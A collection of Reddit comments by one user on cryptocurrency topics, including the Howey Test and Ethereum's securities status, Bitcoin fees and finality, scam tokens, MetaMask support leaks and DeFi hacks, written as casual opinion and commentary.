**In Gensler's MIT videos, he was NEVER black-and-white on the Howey Test.** Gensler mentioned that even original Howey Test was very controversial and said that it was a flawed test for cryptocurrencies. But it's the card we were dealt, and until a better law comes by, we have to make the best of interpreting it. He's made it very clear that he would love for clear legistlation. **Breaking down the Howey Test**: Test is not straight-forward because it's a sliding scale. The whole community contributes to the success and utility of both Bitcoin and Ethereum. There is no single company or organization that runs either of them. 1. **Existence as an investment contract**: Similar to Bitcoin, many people invest in Ethereum. But that's not its only purpose. Plenty of people use it as a gas token and as a currency on various markets, like NFT marketplaces. 1. **Common enterprise**: Common enterprise is a single company or organization. Ethereum is a multi-chain ecosystem. There are so many different groups working on it. Does a loose group of developers on Ethereum Magicians and Ethereum Research count as an enterprise? They aren't hired. They're similar to Wikipedia editors and Linux developers. Same goes with Bitcoin, except that Bitcoin only works on 1 network. 1. **Expectations of profit**: Lots of people use it as a utility token and not just for profit. Bitcoin is even more of an investment of money with a goal of profit. 1. **Derived from the efforts of others/based on a 3rd party**: Anyone could be a developer and contribute. Same goes with Bitcoin, Linux, and Wikipedia. It doesn't have to be derived from the efforts of others. Lastly, there are many scam coins and ICOs whose entire purpose was to create a traditional security. But that doesn't match either Bitcoin's or Ethereum's profiles.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 3, 2023 13:57:22
/r/CryptoCurrency/comments/102dccr/is_ethereum_a_security/j2sm8wu/

You want a serious and accurate answer? **People need to realize that the Howey Test is NOT black-and-white**, and neither is the definition of a commodity. The Howey Test is a multi-factor test where each aspect is a sliding scale. The question shouldn't be whether it is a security or commodity, but "how much" of a security or commodity. On the commodity side, every cryptocurrency that also functions as a utility token is also a commodity. Ethereum is a stronger commodity than Bitcoin because it is used as a utility and gas token on multiple platforms and networks. In comparison, Bitcoin only works on 1 network and functions very poorly as a currency or utility. On the security side, there are 3-4 different factors for the Howey Test, and every cryptocurrency lies somewhere in the middle. The current status of Ethereum very weakly matches the qualifications of security under the Howey Test. Thus it's more of a non-security than a security. The Ethereum Foundation does not function as a company. It only owns 0.2% of Ethereum, does not control development, staking, or security. Vitalik's roadmap represents his idea of where he thinks Ethereum is going based on the developer community, but he has no control over where it actually goes. The roadmap is the tail of the dog that follows the directions of core developers. Both Bitcoin and Ethereum are controlled by the community: developers, nodes, and community feedback.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 3, 2023 12:53:55
/r/CryptoCurrency/comments/102dccr/is_ethereum_a_security/j2slm9x/

This is the most technically-correct answer. **People need to realize that the Howey Test is NOT black-and-white**, and neither is the definition of a commodity. The Howey Test is a multi-factor test where each aspect is a sliding scale. The question shouldn't be whether it is a security or commodity, but "how much" of a security or commodity. On the commodity side, every cryptocurrency that also functions as a utility token is also a commodity. Ethereum is a stronger commodity than Bitcoin because it is used as a utility and gas token on multiple platforms and networks. In comparison, Bitcoin only works on 1 network. On the security side, there are 3-4 different factors for the Howey Test, and every cryptocurrency lies somewhere in the middle. The current status of Ethereum very weakly matches the qualifications of security under the Howey Test. Thus it's more of a non-security than a security. The Ethereum Foundation does not function as a company. It only owns 0.2% of Ethereum, does not govern development, and is not involved in roadmaps. Vitalik's roadmap represents his idea of where he thinks Ethereum is going based on the developer community, but he has no control over where it actually goes. The roadmap is the tail of the dog that follows the directions of core developers.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 3, 2023 12:50:03
/r/CryptoCurrency/comments/102cvbm/warning_be_careful_about_changed_link_scams_in/j2seerz/

Another reason I prefer to interact on desktop only. So much easier to investigate.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 3, 2023 12:05:11
/r/CryptoCurrency/comments/101vk1k/crypto_veteran_erik_voorhees_makes_prediction_for/j2s40lt/

It's Erik Voorhees, and he's one of the more realistic non-shill, non-influencer veterans. That being said, this article is useless because making market predictions wasn't his main point.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 3, 2023 10:57:37
/r/CryptoCurrency/comments/102234o/litecoin_gains_7_in_a_week_amid_record/j2s3130/

Remember when Bitcoin crashed 30% in 24 hours in May 2021? Pepperidge farm remembers.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 3, 2023 10:51:09
/r/CryptoCurrency/comments/10287cq/reality_check_have_you_used_crypto_with_any_other/j2s2g0x/

Curiosity, research, and just playing around. I haven't held any crypto purely as an investment since 2014.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 3, 2023 10:47:16
/r/CryptoCurrency/comments/102abfc/btc_vs_eth_choose_only_one/j2s1urp/

BTC can't interact with dApps, so you would be banning yourself from interacting with MOONs, Reddit Collectible Avatars, and 9 out of every 10 dApps.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 3, 2023 10:43:22
/r/CryptoCurrency/comments/102abfc/btc_vs_eth_choose_only_one/j2s15cx/

ETH has utility and I can use it in dApps. Without ETH, there would be no MOONs or Reddit Collectible Avatars.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 3, 2023 10:38:40
/r/ethfinance/comments/1014ypw/daily_general_discussion_january_2_2023/j2q1zkg/

\*Takes a bow. That's mainly because I leave all my shitposting on other subs.

Commented by /u/Maleficent_Plankton in /r/ethfinance on January 2, 2023 22:33:14
/r/Bitcoin/comments/101l7gu/tomorrow_marks_the_14th_birthday_of_btc_why_block/j2opd01/

Due to how the formula is calculated. If you run half the distance at 30 mph and the other half at 90 mph, your average mph is 45, not 60. The Bitcoin adjustment formula is similar to that, but the multiplicative inverse.

Commented by /u/Maleficent_Plankton in /r/Bitcoin on January 2, 2023 17:02:53
/r/Bitcoin/comments/101o9ko/how_many_of_you_got_hacked_and_lost_your_bitcoins/j2omhq0/

I have 30+ accounts on 10+ hot wallets. Never got hacked once.

Commented by /u/Maleficent_Plankton in /r/Bitcoin on January 2, 2023 16:44:34
/r/CryptoCurrency/comments/101a1l0/a_question_about_moons_and_reddit_accounts/j2ne9t1/

> I've been looking all over the web and to this day I haven't found anything definitive as to what happens to moons if you cannot access your Reddit account or if it's been deleted by either yourself or by admins. That's because owning a seed phrase is such a **fundamental concept** that everyone investing in crypto should already understand it. In any case, I've also seen this exact topic covered in a dozen guides. You just aren't searching very hard.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 2, 2023 12:00:02
/r/CryptoCurrency/comments/101gq7f/should_amateur_investors_track_what_crypto_whales/j2nc4kx/

Too many useless whale tracking articles written just for clickbait. Just because a large transfer happened doesn't provide context to the reason behind the move. Could be from one exchange UTXO to another.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 2, 2023 11:45:43
/r/CryptoCurrency_Tech/comments/100vveb/overview_of_cardanos_hydra_and_scalability_simply/j2n86ls/

> As for the consensus algorithm in the Hydra heads themselves, a simple solution is used: every participant has to agree on all transactions. I'm curious to see how easy it would be for end users to do this. Lightning has a problem with requiring clients to be connect at least once every 1-2 weeks depending on force-close times (or use watchtowers). Hydra sounds like clients need to be always-on.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency_Tech on January 2, 2023 11:18:39
/r/investing/comments/100qct5/focusing_on_the_fed_funds_rate_is_an_obsolete/j2n6imq/

Worth an investigation. I'd like to see a chart of IORB vs Fed Funds vs market. How much leading indicator do we get with IORB, if any?

Commented by /u/Maleficent_Plankton in /r/investing on January 2, 2023 11:06:56
/r/ethfinance/comments/100d6c2/daily_general_discussion_january_1_2023/j2jy966/

I think the last big one before all the failures in 2022 was QuadrigaCX in 2019. Were there any big ones in 2020 or 2021?

Commented by /u/Maleficent_Plankton in /r/ethfinance on January 1, 2023 17:07:11
/r/CryptoCurrency/comments/100lpos/ethereum_vs_ethereum_killers_in_2022/j2ik557/

Polygon PoS's consensus actually has 2 chains. One uses Geth; the other uses Peppermint. So it's a mix of both worlds.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 1, 2023 11:32:47
/r/CryptoCurrency/comments/100m79o/central_banks_buying_bitcoin_the_clearest_sign_yet/j2ijj81/

Coin Bureau absolutely hates regulations and traditional banks. Zero chance this video is an unbiased.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 1, 2023 11:28:07
/r/CryptoCurrency/comments/100jzni/seriousthere_is_no_difference_between_what/j2iitez/

Banks separate parts of their business, and everything has to have proper accounting and separation of powers. FTX/Alameda had none of that.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 1, 2023 11:22:36
/r/ethfinance/comments/100d6c2/daily_general_discussion_january_1_2023/j2hdtsi/

Happy New Year! Looking back at my predictions from [1 year ago](https://np.reddit.com/r/CryptoCurrency/comments/rurr8s/what_are_your_biggest_nonprice_predictions_for/): > * Bitcoin, being super conservative, will not have any large updates. > * Ethereum's beacon chain merge will happen mid-year and be largely uneventful. The focus will shift even more to rollups. > * Ethereum Layer 2 will still be very fragmented. Shared liquidity across Layer 2s will begin to form late 2022 but will not have significant implementation before the end of the year. > * Meme coins will not be as popular in 2022 as in 2021. SHIB in particular will still not have a use case (especially given gas costs). > * At least one major CeFi or DeFi lending platform will be heavily investigated on suspicion of fraud or self-dealing. > * NFTs will still be disliked by everyone outside of the crypto community. > * The US SEC will not pass any major crypto regulation. At most, they'll classify a select few cryptoassets as securities as examples, and rest will decentralize to regulate themselves. > * Fewer US crypto investors will use non-stablecoins for crypto debit card purchases, mainly due to how much of a giant pain it is to do accounting for crypto taxes. More people will change their trading behavior simply to avoid the complexity of US taxes. > * At least one new minor country will adopt cryptocurrency as legal tender, and one major country (probably Turkey) will ban it. I was off for the Ethereum predictions, but everything else besides the last one was close.

Commented by /u/Maleficent_Plankton in /r/ethfinance on January 1, 2023 03:12:37
/r/CryptoCurrency/comments/100abjj/randomly_received_awethio_and_absosite_tokens/j2gu7rt/

Solidity dev here. Based on the gas cost, I can tell it's using a fake balanceOf function and transfer function. What this means is that it's not actually storing your balance when it sends tokens to your account, which costs 10x less gas.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 31, 2022 23:27:56
/r/CryptoCurrency/comments/1001srq/the_most_important_chart_of_the_year_after_all_of/j2f256w/

Uptime for Bitcoin is quite meaningless As long as 1 miner and 1 node are running, it'll technically be up..

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 31, 2022 15:06:12
/r/CryptoCurrency/comments/1001srq/the_most_important_chart_of_the_year_after_all_of/j2f1nq4/

[450GB](https://ycharts.com/indicators/bitcoin_blockchain_size) Still pretty small compared to many other blockchains. Size is mostly determined by TPS.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 31, 2022 15:02:46
/r/CryptoCurrency/comments/zzy404/litecoin_deliver_139000000th_transaction_today/j2egda6/

Plenty of PoW chains have halvings. But the price is rarely affected by their halvings.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 31, 2022 12:37:13
/r/CryptoCurrencyMeta/comments/zz8dah/brainstorm_proposal_solve_the_issue_of_so_many/j2d0bep/

It's not necessarily manipulation. There are way too many repetitive and useless posts. There are probably a handful of people who sort by new and read every post. They've already seen everything, so if you don't post something that's both insightful and new, you'll probably collect a few downvotes.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrencyMeta on December 31, 2022 04:26:02
/r/CryptoCurrency/comments/zz5p5t/what_are_zeroknowledge_ethereum_virtual_machines/j29s9tz/

Depends on which one you're talking about. Polygon is a team/ecosystem, and they're working on ~6 different Layer 2 solutions. If you're talking about the Polygon PoS chain, that's a sidechain. It has periodic checkpoints, and MATIC is minted on Ethereum, but it's not an L2 rollup.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 30, 2022 13:00:46
/r/CryptoCurrency/comments/zz6bhh/a_comparison_of_crypto_and_other_investments_this/j29rfum/

Total US stock market index is down 22%. Pretty bad, not nearly as bad as the cherry-picked stocks you listed.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 30, 2022 12:55:34
/r/CryptoCurrency/comments/zz6bhh/a_comparison_of_crypto_and_other_investments_this/j29r95t/

You mean cherry-picked stocks? Because the stock market overall is only down 22% this year.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 30, 2022 12:54:27
/r/CryptoCurrency/comments/zz3bea/serious_benjamin_cowen_was_not_right_about_btc/j29p1de/

The bullshit part of the other person's post is that he didn't include any sources. This whole Bitcoin dominance chart is simply ETH mcap vs BTC mcap from the [Flippening charts](https://www.blockchaincenter.net/en/flippening/). And it really hasn't changed at all for the past 1.5 years.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 30, 2022 12:40:39
/r/CryptoCurrency/comments/zyjsp0/bitcoin_dominance_at_4224_highest_since_august/j29oby6/

I don't even know where OP is making up his numbers. I'm pretty sure they're from the [Flippening Chart](https://www.blockchaincenter.net/en/flippening/). This means they're not even Bitcoin dominance numbers. And **OP is bullshitting** because the numbers have been in the same 40-50% zone for the past year. This is why I hate posts without a source. You can just make up stuff.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 30, 2022 12:36:17
/r/CryptoCurrency/comments/zyjsp0/bitcoin_dominance_at_4224_highest_since_august/j29nklv/

ETH vs BTC hasn't changed from 40-50% in the past 1.5 years. Must be a slow news day when articles like this show up This article talks about Bitcoin dominance but uses BTC vs ETH Flippening numbers. Flippening charts: https://www.blockchaincenter.net/en/flippening/

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 30, 2022 12:31:37
/r/CryptoCurrency/comments/zz3bea/serious_benjamin_cowen_was_not_right_about_btc/j29mf5r/

Don't OP's figures already exclude stablecoins? Here are the Flippening charts, which also show around 45-50%. https://www.blockchaincenter.net/en/flippening/

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 30, 2022 12:24:22
/r/CryptoCurrency/comments/zyalgh/beware_of_the_eth_forwarding_scam/j25yh0t/

My X chromosome makes me 50% female.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 29, 2022 17:13:28
/r/CryptoCurrency/comments/zyalgh/beware_of_the_eth_forwarding_scam/j25y6yb/

The Tron variation of the basic honeypot scam is usually done slightly differently. Tron accounts have built-in permissions roles, so they can prevent transferring out natively.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 29, 2022 17:11:33
/r/CryptoCurrency/comments/zyalgh/beware_of_the_eth_forwarding_scam/j25xo7x/

Ah, you don't mean actual forwarding. In that case, it's just a normal wallet honeypot.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 29, 2022 17:07:58
/r/CryptoCurrency/comments/zxylxa/alameda_research_liquidated_etherbased_token/j25p69j/

Yep. Authorities could simply be watching and collecting evidence.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 29, 2022 16:11:28
/r/CryptoCurrency/comments/zyalgh/beware_of_the_eth_forwarding_scam/j25nn37/

The first is a normal honeypot. The second part about the forwarding is technically impossible.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 29, 2022 16:01:26
/r/CryptoCurrency/comments/zyflpk/in_these_markets_literally_anything_can_happen/j25lgzk/

The closest you can get to the Bitcoin equivalent of oil futures going below zero is mining at a loss due to energy costs. And that's already happening.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 29, 2022 15:47:18
/r/CryptoCurrency/comments/zycnx7/2_bitcoin_mining_pools_command_more_than_53_of/j252hiq/

Before anyone says that individual miners control what who they join, please realize that most mining pool dashboards are extremely limited in what information they show. Individuals will not be able to tell if their pool operators are doing nefarious activity unless they subscribe to some alerting service. And it probably takes awhile before they can react. This will be true until Stratum v2 (still in testing) is widely adopted.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 29, 2022 13:44:22
/r/CryptoCurrency/comments/zyadnq/over_50_of_the_current_bitcoin_supply_is_in_loss/j24z4tv/

The problem with these types of charts is that the scale is mathematically arbitrary. You can slide each function up and down relative to the other function, and multiply either by an arbitrary constant so that it looks pretty. Once you realize that, it's not particularly good at forward-looking predictions. Imagine what the chart would look like if you shifted the 2 functions so they never touched. A lot more guesswork.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 29, 2022 13:22:58
/r/CryptoCurrency/comments/zy24jo/top_sec_official_steps_down_following/j246byl/

Well I was hoping for a smoking gun. That's not sufficient evidence of wrongdoing. It could've simply been a meeting to gather information. Article lacks details.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 29, 2022 10:14:26
/r/Bitcoin/comments/zxmert/anyone_else_given_up_on_bitcoin/j22rcbq/

Then what's the most interesting part? Definitely not the tech. Bitcoin from a tech enthusiast perspective is boring as hell since it's designed to be conservative rarely update.

Commented by /u/Maleficent_Plankton in /r/Bitcoin on December 29, 2022 00:45:49
/r/Gemini/comments/zxshbw/i_started_withdrawals_before_the_freeze/j22q7w1/

> I saw the obvious wave of destruction coming from Celsius, Voyager, FTX, and then started digging deeper. I had already started withdrawing in early November. That destruction happened in June. You waited 6 WHOLE MONTHS before withdrawing. Way too late.

Commented by /u/Maleficent_Plankton in /r/Gemini on December 29, 2022 00:34:37
/r/CryptoCurrency/comments/zxcymf/serious_disaster_aboard_the_ss_safemoon_as_no/j2027ln/

All the new comments rationally criticizing safemoon were sitting at -1. SMH.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 28, 2022 13:01:11
/r/ethereum/comments/zx7d9a/what_do_you_find_to_be_the_most_interesting/j1zqp1k/

"Bitcoin 2.0" So much for that branding.

Commented by /u/Maleficent_Plankton in /r/ethereum on December 28, 2022 11:45:51
/r/ethereum/comments/zx7d9a/what_do_you_find_to_be_the_most_interesting/j1zq82n/

* Vitalik co-founded Bitcoin Magazine and was a strong supporter of Bitcoin. (A lot of prominent early Bitcoin supporters and developers ended up disillusioned by it). He actually worked on Bitcoin's famous [colored-coin project](https://en.wikipedia.org/wiki/Colored_Coins), which was an early precursor to NFT tokens. * ERC tokens are just standardizations. Even before any ERC is finalized, you can totally make something similar to it with the same functionality (though public apps might not be programmed to recognize them as standard tokens). * We might have CryptoKitties to blame for starting the ugly generated-art-style NFT collections. (If they had cuter kitties, we might not have had such ugly bored apes) * The gas limit wasn't always 30M. It has risen every year since 2016 until EIP-1559 (London) in Aug 2021. Ever since EIP-1559, daily block average gas usage has been over 100% of the block target (at ~101-103%), which had never happened before then. Despite being over the block target, gas prices have slowly fallen due to a [weird math quirk of base gas price calculations](https://np.reddit.com/r/ethfinance/comments/yjx2bc/daily_general_discussion_november_2_2022/iuqa9ba/).

Commented by /u/Maleficent_Plankton in /r/ethereum on December 28, 2022 11:42:40
/r/ethereum/comments/zx7d9a/what_do_you_find_to_be_the_most_interesting/j1zlkbp/

Not sure if I agree with that. I'll consider it cheap when I can send for under a penny and bridge between mainnet and L2 for under $0.20. Still costs several dollars to bridge.

Commented by /u/Maleficent_Plankton in /r/ethereum on December 28, 2022 11:10:57
/r/CryptoCurrency/comments/zwsf62/us_charges_accused_mango_crypto_manipulator_with/j1xjiwe/

Ok. But what does that have to do with this article?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 27, 2022 22:19:35
/r/CryptoCurrency/comments/zwwtx2/ranking_the_best_gaming_blockchains_of_2022/j1xj1qg/

You got the order reversed from the article 1. Polygon 1. Immutable 1. Solana 1. Arbitrum 1. BSC

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 27, 2022 22:15:41
/r/CryptoCurrency/comments/zwy7wb/mango_markets_exploiter_arrested_on_fraud_charges/j1xinjj/

Taking over the DAO with the stolen funds and then voting yourself safe does not make you safe. That's like steealing an election and then pardoning yourself.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 27, 2022 22:12:29
/r/CryptoCurrency/comments/zwya7i/defrost_finance_recovers_stolen_funds_will_repay/j1xi4vp/

The hacker who used the owner keys returned the funds to the Defrost account. I suspect it was an internal employee either attempting to save funds from the first flash loan, or returning after he figured out he couldn't get away with it.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 27, 2022 22:08:18
/r/CryptoCurrency/comments/zwkgsj/someone_just_sent_19000_ether_onto_coinbase/j1wcdp7/

It was also done 6 days, ago, so OP is lying.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 27, 2022 16:59:10
/r/CryptoCurrency/comments/zwkgsj/someone_just_sent_19000_ether_onto_coinbase/j1wc9fa/

> Just sent No, it was sent 6 days ago. And it's one of their cold wallets. OP is a PoS.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 27, 2022 16:58:20
/r/cardano/comments/zwlxo8/a_deep_dive_on_cardano_by_messari/j1w11c1/

It's a really good summary. I'd really have to **nitpick** on minor issues to find flaws: > Cardano averages roughly 0.75 transactions per second (TPS). It’s important to note that eUTXO TPS is not directly equivalent to account-based TPS, as multiple assets and multiple recipients are often involved in a single eUTXO transaction. It's the same on both. If you look at transactions on the EtherScan, it's also full of batch transactions. The vast majority of transactions have multiple internal transfers. Unfortunately, there's no easy way to calculate real TPS while correcting for individual transfers. That's because a single useful on either Cardano or Ethereum can take multiple UTXOs and internal transfers. An EVM swap is usually 3-6 internal transfers. A UTXO swap is usually also 3-6 UTXOs. Delegating often takes 5 UTXOs. EVM NFT transfers can be 1-7 internal transfers depending on whether there's a sale. UTXO NFT transfers can also take [4-12 UTXOs](https://cardanoscan.io/transaction/2587e01a49a5a6d774f330f83f164d0da18fa2354799d4aa01c48f3a88183993?tab=utxo). ------ One thing I would love to get clarification on is how locked and collateral UTXOs work. Nearly every dApp transaction I do on Cardano requires locking up some 1-5 ADA with each UTXO. And that really confuses me. My wallet's a mess of UTXOs with multiple 5 ADA collateral.

Commented by /u/Maleficent_Plankton in /r/cardano on December 27, 2022 15:43:09
/r/CryptoCurrency/comments/zwlhrq/why_anyone_would_use_coinbase_for_recurring_buy/j1vxlcp/

Yep. That's the tradeoff. Fee difference between CB and BinUS is 0.4%. Withdrawal fees on BinUS are ~$3-4 for Bitcoin. Current breakeven point for Bitcoin where it makes sense to use Binance US is $750-$1000

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 27, 2022 15:20:11
/r/CryptoCurrency/comments/zwlhrq/why_anyone_would_use_coinbase_for_recurring_buy/j1vu3ge/

Yep. That's the tradeoff. Pick your poison: 10x higher conversion fees with Coinbase, or 10x higher withdraw fees with Binance.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 27, 2022 14:56:31
/r/Bitcoin/comments/zvx9n5/explain_lightning_network/j1v254m/

Correct. Routing and one-directional capacity are common issues with Lightning Network. That's why most people either connect to centralized hubs or hit routing issues and higher fees. There is no global state for LN.

Commented by /u/Maleficent_Plankton in /r/Bitcoin on December 27, 2022 11:52:34
/r/Bitcoin/comments/zw9ju3/what_would_happen_if_everyone_sent_btc_at_the/j1v0vd9/

https://bitcoin.stackexchange.com/questions/96068/what-if-the-mempool-exceeds-300-mb Unconfirmed transactions remain in the mempool until it gets filled at the 300MB default. Then the transactions with the lowest priority fees get dropped and need to be rebroadcasted. Some miners may use nodes with higher limits, but most will just stick with the default.

Commented by /u/Maleficent_Plankton in /r/Bitcoin on December 27, 2022 11:44:04
/r/Bitcoin/comments/zwesee/bitcoin_question/j1uzih2/

Bitcoin's Proof of Work has probabilistic finality, not deterministic finality. You will never be 100% certain that your transaction is final due to orphaned blocks and reorgs. There was a time years ago when 1-3 block reorgs were common. Longest Bitcoin reorgs were something like 30 blocks lost and overwritten. Nowadays, that almost never happens, but it's still safe to wait 3-6 blocks for a much higher chance of probabilistic finality.

Commented by /u/Maleficent_Plankton in /r/Bitcoin on December 27, 2022 11:34:47
/r/Bitcoin/comments/zvvegh/bitcoin_halving/j1szjme/

?? There is no mining on LN.

Commented by /u/Maleficent_Plankton in /r/Bitcoin on December 26, 2022 22:50:28
/r/Bitcoin/comments/zvvegh/bitcoin_halving/j1sukam/

How high do you think the fee will go to replace the block subsidy?

Commented by /u/Maleficent_Plankton in /r/Bitcoin on December 26, 2022 22:07:05
/r/Bitcoin/comments/zvvegh/bitcoin_halving/j1sjcln/

**I would expect around $2.50/Tx in the future if we were to reduce the number of miners by 90%**. Totally doable. * Tx fees are currently $0.30 per transaction at the median [15 sat/vB](https://mempool.space/) * [Fees represent 2% of the block reward](https://bitinfocharts.com/comparison/bitcoin-fee_to_reward.html) * Many miners are currently operating at a loss, unable to pay for energy, let alone energy + hardware. Last time price was profitable for most for energy alone was around $30K. * If you want to maintain 100% of the current security budget of Bitcoin, you'll need to increase L1 fees to $25 per Tx. Bitcoin is still viable at 10% of current security budget, which would be $2.50/Tx.

Commented by /u/Maleficent_Plankton in /r/Bitcoin on December 26, 2022 20:36:43
/r/MPlankton/comments/vg6k05/bitcoin_research_jun_2022/j1sg3w4/

/u/CoffeeBall I think that other thread confirms that you get a serious unbiased answer about Bitcoin from their members. Here: https://np.reddit.com/r/MPlankton/comments/vg6k05/bitcoin_research_jun_2022/id03xja/ But I'm sure you're already aware of all these since you're clearly not a regular of that sub either.

Commented by /u/Maleficent_Plankton in /r/MPlankton on December 26, 2022 20:10:00
/r/Bitcoin/comments/zvzn8d/how_is_bitcoin_worse_than_other_cryptocurrencies/j1s3i48/

Bitcoin doesn't change much. Updates take years to pick up adoption. People tend to buy and hold, and that's all they need. It's been 2 years since Segwit v1 addresses were introduced, and only 1% of addresses are using it. It might need tail emissions 1-2 decades later to maintain its security. And that would probably split the community even more since much of the community is against hard forks.

Commented by /u/Maleficent_Plankton in /r/Bitcoin on December 26, 2022 18:31:21
/r/videos/comments/zvosd8/man_plays_entire_free_bird_solo_on_harmonica/j1rwgoh/

Any person with this much embouchure stamina has got to be amazing in bed

Commented by /u/Maleficent_Plankton in /r/videos on December 26, 2022 17:37:28
/r/CryptoCurrency/comments/zvsz67/shortly_after_contacting_metamask_support_i/j1rh4vx/

Ah no. It's not an infection. "Agents" and "Light Agents" are admin user accounts for support agents. It's very easy to compromise the whole system as long as one of your employees is a bad actor. I was a Zendesk domain admin in a previous job, and this was a known issue in many organizations.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 26, 2022 15:42:38
/r/AlgorandOfficial/comments/zvnnxq/algorand_blocks_with_32k_and_50k_inner/j1rgj2s/

It's practical for researchers like me. Good data point for its absolute limits. I wish other networks would do this kind of testing too.

Commented by /u/Maleficent_Plankton in /r/AlgorandOfficial on December 26, 2022 15:38:06
/r/CryptoCurrency/comments/zvsz67/shortly_after_contacting_metamask_support_i/j1r4992/

It's the ticketing system Metamask is using, as you can tell from the picture. By default, all agents can see each other's tickets. You can restrict visibility by group, but groups can have a hundred members depending how big your IT department is.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 26, 2022 14:05:21
/r/CryptoCurrency/comments/zvtgbc/state_of_solana/j1r1yxi/

One of the things non-developers investing in Solana don't realize is that Solana smart contacts are not trustless. On Ethereum, you can just look up verified smart contracts and know what they're doing. Even if you aren't a dev, another dev could check it. On Solana, none of the blockchain explorers are able to show the code. They are also way too slow to be of any use because of the massive number of transaction spam.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 26, 2022 13:48:38
/r/CryptoCurrency/comments/zvsz67/shortly_after_contacting_metamask_support_i/j1qyouk/

Someone on their team with visibility into their Zendesk system is a bad actor. Actively forwarding ticket details to a scam group. A bit hard to avoid when you have dozens of support agents. Zendesk is a system that expects all agents to be honest, so it's often a vulnerability.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 26, 2022 13:25:27
/r/CryptoCurrency/comments/zvpkos/beware_the_pig_butchering_crypto_scam_sweeping/j1qwok9/

In the last 2 posts here about people falling for this, they already suspected it to be a scam, but they did it anyways. Greed and stupidity.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 26, 2022 13:11:11
/r/CryptoCurrency/comments/zvpamp/serious_bitcoin_followed_the_stock_market_all/j1quxb1/

IKR? Only 2 groups of people would selectively choose the Dow for comparison: - Those unfamiliar with the stock market - The media when they want to sensationalize a point change instead of a percentage change

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 26, 2022 12:58:47
/r/CryptoCurrency/comments/zvpamp/serious_bitcoin_followed_the_stock_market_all/j1qekwg/

**What is that chart? That's not actually BTC vs DJIA.** When I compare the 2 in Google Finance, I see HUGE drop in BTC in May 2022 (Terra collapse), June 2022, and another one in Nov 2022 (FTX). Also lots of tiny drops (Jan-Mar).

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 26, 2022 10:58:08
/r/CryptoCurrency/comments/zufcsz/here_is_an_example_on_how_to_1_use_web_3_to_solve/j1q7t65/

Structs are efficient in Solidity, but only as much as the data types they include and how often they call SSTORE. His code is inefficient. Every 32 bytes if reviews it stores is going to cost 20K gas, but there's really no way around that unless he uses only uses EMIT instead of storing the reviews. There are also confusing parts of his code, like why did he use Solidity 0.7.x in this script and 0.6.x in his other script? I realize this is an exercise, so I'm not going to comment the practicality of on-chain reviews.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 26, 2022 10:04:07
/r/CryptoCurrency/comments/zv8zkb/defrost_finance_hacked_in_attack_some_say_may/j1nz9ib/

> DeFiYield, which offers a security layer for smart contracts to help investors avoid getting scammed or hacked alongside a cross-chain digital asset management platform, said it conducted an audit of Defrost Finance a year ago, and highlighted the smart contract vulnerability used in the hack. This, along with the 2nd hack which used an owner account, are what's pointing to an insider attack.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 25, 2022 18:56:37
/r/CryptoCurrency/comments/zv1mp0/we_should_not_compare_this_bear_market_with_2018/j1mmktu/

Mt Gox collapsed in 2014, and it was way more brutal than 2022.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 25, 2022 12:27:32
/r/CryptoCurrency/comments/zukwx9/jim_cramer_youre_an_idiot_if_you_own_solana/j1k94lv/

Wouldn't that be a double-negative? So inverse-cramer and inverse-r/CC cancel each other out?

